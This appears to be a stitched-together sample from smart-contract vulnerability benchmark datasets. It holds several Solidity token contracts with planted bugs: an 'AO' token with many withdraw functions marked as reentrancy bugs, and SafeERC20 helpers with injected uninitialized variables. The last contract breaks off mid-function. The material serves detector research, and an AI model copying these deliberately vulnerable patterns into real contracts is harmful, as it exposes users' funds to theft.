require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance ; //inject UNINIT LOCAL/STATE VAR
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance ; //inject UNINIT LOCAL/STATE VAR
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library MassetHelpers {
using StableMath for uint256;
using SafeMath for uint256;
using SafeERC20 for IERC20;
function transferTokens(address _sender,
address _recipient,
address _basset,
bool _erc20TransferFeeCharged,
uint256 _qty)
internal
returns (uint256 receivedQty)
{
receivedQty = _qty;
if(_erc20TransferFeeCharged) {
uint256 balBefore ; //inject UNINIT LOCAL/STATE VAR
IERC20(_basset).safeTransferFrom(_sender, _recipient, _qty);
uint256 balAfter ; //inject UNINIT LOCAL/STATE VAR
receivedQty = StableMath.min(_qty, balAfter.sub(balBefore));
} else {
IERC20(_basset).safeTransferFrom(_sender, _recipient, _qty);
}
}
function safeInfiniteApprove(address _asset, address _spender)
internal
{
IERC20(_asset).safeApprove(_spender, 0);
IERC20(_asset).safeApprove(_spender, uint256(-1));
}
}
contract PlatformTokenVendor {
IERC20 public platformToken;
address public parentStakingContract;
constructor(IERC20 _platformToken) public {
parentStakingContract = msg.sender;
platformToken = _platformToken;
MassetHelpers.safeInfiniteApprove(address(_platformToken), parentStakingContract);
}
function reApproveOwner() external {
MassetHelpers.safeInfiniteApprove(address(platformToken), parentStakingContract);
}
}
| 279,398 | 1,733 |
0aa1bd790a80d59959eeaaf29bc8e51441b55ccb513e43f17ab28b69319fdc29
| 13,968 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x9ce490ac8d134f911e1cffa99c9e8c0fa929627a.sol
| 3,345 | 11,578 |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Beyond'
//
// NAME : Beyond
// Symbol : BYT Token
// Total supply: 700,000,000
// Decimals : 8
//
// Enjoy.
//
// (c) by Beyond team. The MIT Licence.
// ----------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(transfersEnabled);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(transfersEnabled);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Beyond is StandardToken {
string public constant name = "Beyond";
string public constant symbol = "BYT Token";
uint8 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 70 * 10**7 * (10**uint256(decimals));
uint256 public weiRaised;
uint256 public tokenAllocated;
address public owner;
bool public saleToken = true;
event OwnerChanged(address indexed previousOwner, address indexed newOwner);
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
function Beyond() public {
totalSupply = INITIAL_SUPPLY;
owner = msg.sender;
//owner = msg.sender; // for testing
balances[owner] = INITIAL_SUPPLY;
tokenAllocated = 0;
transfersEnabled = true;
}
// fallback function can be used to buy tokens
function() payable public {
buyTokens(msg.sender);
}
function buyTokens(address _investor) public payable returns (uint256){
require(_investor != address(0));
require(saleToken == true);
address wallet = owner;
uint256 weiAmount = msg.value;
uint256 tokens = validPurchaseTokens(weiAmount);
if (tokens == 0) {revert();}
weiRaised = weiRaised.add(weiAmount);
tokenAllocated = tokenAllocated.add(tokens);
mint(_investor, tokens, owner);
TokenPurchase(_investor, weiAmount, tokens);
wallet.transfer(weiAmount);
return tokens;
}
function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) {
uint256 addTokens = getTotalAmountOfTokens(_weiAmount);
if (addTokens > balances[owner]) {
TokenLimitReached(tokenAllocated, addTokens);
return 0;
}
return addTokens;
}
function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) {
uint256 amountOfTokens = 0;
if(_weiAmount == 0){
amountOfTokens = 200 * (10**uint256(decimals));
}
if(_weiAmount == 0.001 ether){
amountOfTokens = 300 * (10**uint256(decimals));
}
if(_weiAmount == 0.002 ether){
amountOfTokens = 600 * (10**uint256(decimals));
}
if(_weiAmount == 0.003 ether){
amountOfTokens = 900 * (10**uint256(decimals));
}
if(_weiAmount == 0.004 ether){
amountOfTokens = 1200 * (10**uint256(decimals));
}
if(_weiAmount == 0.005 ether){
amountOfTokens = 1500 * (10**uint256(decimals));
}
if(_weiAmount == 0.006 ether){
amountOfTokens = 1800 * (10**uint256(decimals));
}
if(_weiAmount == 0.007 ether){
amountOfTokens = 2100 * (10**uint256(decimals));
}
if(_weiAmount == 0.008 ether){
amountOfTokens = 2400 * (10**uint256(decimals));
}
if(_weiAmount == 0.009 ether){
amountOfTokens = 2700 * (10**uint256(decimals));
}
if(_weiAmount == 0.01 ether){
amountOfTokens = 3000 * (10**uint256(decimals));
}
if(_weiAmount == 0.02 ether){
amountOfTokens = 6000 * (10**uint256(decimals));
}
if(_weiAmount == 0.03 ether){
amountOfTokens = 9000 * (10**uint256(decimals));
}
if(_weiAmount == 0.04 ether){
amountOfTokens = 12000 * (10**uint256(decimals));
}
if(_weiAmount == 0.05 ether){
amountOfTokens = 15000 * (10**uint256(decimals));
}
if(_weiAmount == 0.06 ether){
amountOfTokens = 18000 * (10**uint256(decimals));
}
if(_weiAmount == 0.07 ether){
amountOfTokens = 21000 * (10**uint256(decimals));
}
if(_weiAmount == 0.08 ether){
amountOfTokens = 24000 * (10**uint256(decimals));
}
if(_weiAmount == 0.09 ether){
amountOfTokens = 27000 * (10**uint256(decimals));
}
if(_weiAmount == 0.1 ether){
amountOfTokens = 30 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.2 ether){
amountOfTokens = 60 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.3 ether){
amountOfTokens = 90 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.4 ether){
amountOfTokens = 120 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.5 ether){
amountOfTokens = 225 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.6 ether){
amountOfTokens = 180 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.7 ether){
amountOfTokens = 210 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.8 ether){
amountOfTokens = 240 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 0.9 ether){
amountOfTokens = 270 * 10**3 * (10**uint256(decimals));
}
if(_weiAmount == 1 ether){
amountOfTokens = 600 * 10**3 * (10**uint256(decimals));
}
return amountOfTokens;
}
function mint(address _to, uint256 _amount, address _owner) internal returns (bool) {
require(_to != address(0));
require(_amount <= balances[_owner]);
balances[_to] = balances[_to].add(_amount);
balances[_owner] = balances[_owner].sub(_amount);
Transfer(_owner, _to, _amount);
return true;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) onlyOwner public returns (bool){
require(_newOwner != address(0));
OwnerChanged(owner, _newOwner);
owner = _newOwner;
return true;
}
function startSale() public onlyOwner {
saleToken = true;
}
function stopSale() public onlyOwner {
saleToken = false;
}
function enableTransfers(bool _transfersEnabled) onlyOwner public {
transfersEnabled = _transfersEnabled;
}
function claimTokens() public onlyOwner {
owner.transfer(this.balance);
uint256 balance = balanceOf(this);
transfer(owner, balance);
Transfer(this, owner, balance);
}
}
| 213,066 | 1,734 |
827c1128ee3340063696fd046a17f290756b86e0be355daf412314849d65ed1b
| 14,532 |
.sol
|
Solidity
| false |
441123437
|
1052445594/SoliDetector
|
171e0750225e445c2993f04ef32ad65a82342054
|
Solidifi-bugInjection-data/Reentrancy/Sol/buggy_41.sol
| 3,600 | 12,608 |
pragma solidity >=0.4.22 <0.6.0;
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external;
}
contract AO {
// Public variables of the token
mapping(address => uint) balances_re_ent24;
function withdrawFunds_re_ent24 (uint256 _weiToWithdraw) public {
require(balances_re_ent24[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
msg.sender.call.value(_weiToWithdraw)(""); //bug //Reentrancy bug
balances_re_ent24[msg.sender] -= _weiToWithdraw;
}
string public name;
address payable lastPlayer_re_ent23;
uint jackpot_re_ent23;
function buyTicket_re_ent23() public{
lastPlayer_re_ent23.call.value(jackpot_re_ent23)("");//Reentrancy bug
revert();
lastPlayer_re_ent23 = msg.sender;
jackpot_re_ent23 = address(this).balance;
}
string public symbol;
mapping(address => uint) balances_re_ent21;
function withdraw_balances_re_ent21 () public {
(bool success,)= msg.sender.call.value(balances_re_ent21[msg.sender ])(""); //Reentrancy bug
if (success)
balances_re_ent21[msg.sender] = 0;
}
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 counter_re_ent21 =0;
function callme_re_ent21() public{
require(counter_re_ent21<=5);
msg.sender.call.value(10 ether)("") ; //Reentrancy bug
revert();
counter_re_ent21 += 1;
}
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint) private balances_re_ent20;
mapping (address => bool) private disableWithdraw_re_ent20;
function deposit_re_ent20() public payable {
balances_re_ent20[msg.sender] += msg.value;
}
function withdrawBalance_re_ent20() public {
require(disableWithdraw_re_ent20[msg.sender] == false);
uint amountToWithdraw = balances_re_ent20[msg.sender];
if (amountToWithdraw > 0) {
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent20[msg.sender] = true;
balances_re_ent20[msg.sender] = 0;
}
}
mapping (address => uint256) public balanceOf;
address payable lastPlayer_re_ent2;
uint jackpot_re_ent2;
function deposit_re_ent2() public payable{
uint amount = msg.value;
jackpot_re_ent2 = amount;
}
function buyTicket_re_ent2() public{
(bool success,) = lastPlayer_re_ent2.call.value(jackpot_re_ent2)(""); //Reentrancy bug
if(!success)revert();
lastPlayer_re_ent2 = msg.sender;
jackpot_re_ent2 = address(this).balance;
}
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
mapping(address => uint) balances_re_ent11;
function deposit_re_ent11() public payable{
uint amount = msg.value;
balances_re_ent11[msg.sender]+=amount;
}
function withdraw_balances_re_ent11 () public {
uint amount = balances_re_ent11[msg.sender];
(bool success,) =msg.sender.call.value(amount)(""); //Reentrancy bug
if (success)
balances_re_ent11[msg.sender] = 0;
}
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
mapping (address => uint) private balances_re_ent10;
mapping (address => bool) private disableWithdraw_re_ent10;
function deposit_re_ent10() public payable {
balances_re_ent10[msg.sender] += msg.value;
}
function withdrawBalance_re_ent10() public {
require(disableWithdraw_re_ent10[msg.sender] == false);
uint amountToWithdraw = balances_re_ent10[msg.sender];
if (amountToWithdraw > 0) {
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent10[msg.sender] = true;
balances_re_ent10[msg.sender] = 0;
}
}
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
mapping(address => uint) balances_re_ent1;
function deposit_re_ent1() public payable{
uint amount = msg.value;
balances_re_ent1[msg.sender]+=amount;
}
function withdraw_balances_re_ent1 () public {
uint amount = balances_re_ent1[msg.sender];
(bool success,) =msg.sender.call.value(amount)(""); //Reentrancy bug
if (success)
balances_re_ent1[msg.sender] = 0;
}
event Burn(address indexed from, uint256 value);
constructor(uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
uint lockTime19;
mapping (address => uint) private balances_re_ent19;
function deposit_re_ent19() public payable {
balances_re_ent19[msg.sender] += msg.value;
}
function transfer_re_ent19(address to, uint amount) public {
if (balances_re_ent19[msg.sender] >= amount) {
balances_re_ent19[to] += amount;
balances_re_ent19[msg.sender] -= amount;
}
}
function withdrawBalance_re_ent19() public {
uint amountToWithdraw = balances_re_ent19[msg.sender];
require(now>lockTime19+60 days);
if (amountToWithdraw > 0) {
lockTime19 = now;
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
balances_re_ent19[msg.sender] = 0;
lockTime19 = now - 60 days;
}
}
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
mapping (address => uint) private balances_re_ent18;
mapping (address => bool) private disableWithdraw_re_ent18;
function deposit_re_ent18() public payable {
balances_re_ent18[msg.sender] += msg.value;
}
function transfer_re_ent18(address to, uint amount) public {
if (balances_re_ent18[msg.sender] >= amount) {
balances_re_ent18[to] += amount;
balances_re_ent18[msg.sender] -= amount;
}
}
function withdrawBalance_re_ent18() public {
require(disableWithdraw_re_ent18[msg.sender] == false);
uint amountToWithdraw = balances_re_ent18[msg.sender];
if (amountToWithdraw > 0) {
disableWithdraw_re_ent18[msg.sender] = true;
msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
disableWithdraw_re_ent18[msg.sender] = false;
balances_re_ent18[msg.sender] = 0;
}
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
mapping(address => uint) balances_re_ent17;
function withdrawFunds_re_ent17 (uint256 _weiToWithdraw) public {
require(balances_re_ent17[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)=msg.sender.call.value(_weiToWithdraw)(""); //Reentrancy bug
require(success); //bug
balances_re_ent17[msg.sender] -= _weiToWithdraw;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
mapping (address => uint) balances_re_ent16;
modifier hasBalance_re_ent16(){
require(balances_re_ent16[msg.sender] > 0);
_;
balances_re_ent16[msg.sender] = 0;
}
function addToBalance_re_ent16() public payable{
balances_re_ent16[msg.sender] += msg.value;
}
function withdraw_balances_re_ent16() public hasBalance_re_ent16{
uint amountToWithdraw = balances_re_ent16[msg.sender];
(bool success,) = msg.sender.call.value(amountToWithdraw)(""); //Reentrancy bug
if (!(success)) { revert(); }
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
bool not_called_re_ent15 = true;
function deposit_re_ent15() public payable{
not_called_re_ent15 = true;
}
function bug_re_ent15() public{
require(not_called_re_ent15);
(bool success,) = (msg.sender.call.value(1 ether)("")); //Reentrancy bug
if(! success){
revert();
}
not_called_re_ent15 = false;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
mapping(address => uint) redeemableEther_re_ent14;
function deposit_re_ent14() public payable{
uint amount = msg.value;
redeemableEther_re_ent14[msg.sender]+=amount;
}
function claimReward_re_ent14() public {
// ensure there is a reward to give
require(redeemableEther_re_ent14[msg.sender] > 0);
uint transferValue_re_ent14 = redeemableEther_re_ent14[msg.sender];
msg.sender.call.value(transferValue_re_ent14)(""); //bug //Reentrancy bug
redeemableEther_re_ent14[msg.sender] = 0;
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
mapping(address => uint) balances_re_ent13;
function deposit_re_ent13() public payable{
uint amount = msg.value;
balances_re_ent13[msg.sender]+=amount;
}
function withdrawFunds_re_ent13 (uint256 _weiToWithdraw) public {
require(balances_re_ent13[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)= msg.sender.call.value(_weiToWithdraw)(""); //Reentrancy bug
require(success); //bug
balances_re_ent13[msg.sender] -= _weiToWithdraw;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
address payable lastPlayer_re_ent12;
uint jackpot_re_ent12;
function deposit_re_ent12() public payable{
uint amount = msg.value;
jackpot_re_ent12 = amount;
}
function buyTicket_re_ent12() public{
(bool success,) = lastPlayer_re_ent12.call.value(jackpot_re_ent12)(""); //Reentrancy bug
if(!success)revert();
lastPlayer_re_ent12 = msg.sender;
jackpot_re_ent12 = address(this).balance;
}
}
| 223,971 | 1,735 |
7da43eb4da12a288ff44d03be2ed00b3e04000e3273cee64f65547fbe17c2820
| 18,838 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TL/TLNXzDDBSgw3PQ4hc5vJwHP8XSyCHAsVnP_AiniToken.sol
| 4,377 | 17,813 |
//SourceUnit: AiniToken.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface ITRC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract AiniToken is Context, ITRC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 public deflationTotalAmount;
uint256 public deflationAmount;
address public _fundAddress;
address public _bonusAddress;
address public _burnAddress;
Liquidity[] private LiquidityList;
struct Liquidity {
bool flag;
address user;
uint256 lpAmount;
uint256 lastTime;
uint256 index;
}
mapping(address => Liquidity) private LiquidityOrder;
address public lpPoolAddress;
uint256 public lpFeeAmount=0;
uint256 public lpTotalAmount=0;
string private _name = 'AI';
string private _symbol = 'AINI TOKEN';
uint8 private _decimals = 18;
uint256 private _totalSupply = 9434 * 10**uint256(_decimals);
FeeConfig public feeConfig;
struct FeeConfig {
uint256 _bonusFee;
uint256 _leaveFee;
uint256 _fundFee;
uint256 _deflationFee;
}
mapping(address => bool) private _isExcludedFee;
constructor () {
_isExcludedFee[owner()] = true;
_isExcludedFee[address(this)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][msg.sender];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, msg.sender, currentAllowance.sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[msg.sender][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(msg.sender, spender, currentAllowance - subtractedValue);
return true;
}
function excludeFee(address account) public onlyOwner {
_isExcludedFee[account] = true;
}
function setExchangePool(address _lpPoolAddress) public onlyOwner {
lpPoolAddress = _lpPoolAddress;
}
function setLpFeeAmount(uint256 _amount) public onlyOwner {
lpFeeAmount=_amount;
}
function setLpTotalAmount(uint256 _amount)public onlyOwner {
lpTotalAmount=_amount;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
bool takeFee = false;
if(lpPoolAddress==recipient||lpPoolAddress==sender){
if(lpPoolAddress==recipient){
uint256 lpToken= ITRC20(lpPoolAddress).balanceOf(sender);
bool flag=false;
if (LiquidityOrder[sender].flag == false) {
if(lpToken>0){
Liquidity memory liquidity = Liquidity(true,sender,lpToken,block.timestamp,LiquidityList.length);
LiquidityOrder[sender] = liquidity;
LiquidityList.push(liquidity);
flag=true;
}
} else {
Liquidity storage order = LiquidityOrder[sender];
if(order.lpAmount<lpToken){
lpToken=SafeMath.sub(lpToken, order.lpAmount);
order.lpAmount = SafeMath.add(order.lpAmount, lpToken);
order.lastTime=block.timestamp;
flag=true;
LiquidityList[order.index]=order;
}
}
if(flag){
lpTotalAmount=lpTotalAmount.add(lpToken);
}else{
takeFee = true;
}
}
if(lpPoolAddress==sender){
uint256 lpToken= ITRC20(lpPoolAddress).balanceOf(recipient);
if (LiquidityOrder[recipient].flag == true) {
Liquidity storage order = LiquidityOrder[recipient];
if(order.lpAmount>lpToken){
uint256 removeToken=SafeMath.sub(order.lpAmount,lpToken);
order.lpAmount = SafeMath.sub(order.lpAmount, removeToken);
if(order.lpAmount==0){
order.flag=false;
}
lpTotalAmount=lpTotalAmount.sub(removeToken);
LiquidityList[order.index]=order;
}
}
}
}else{
takeFee=true;
}
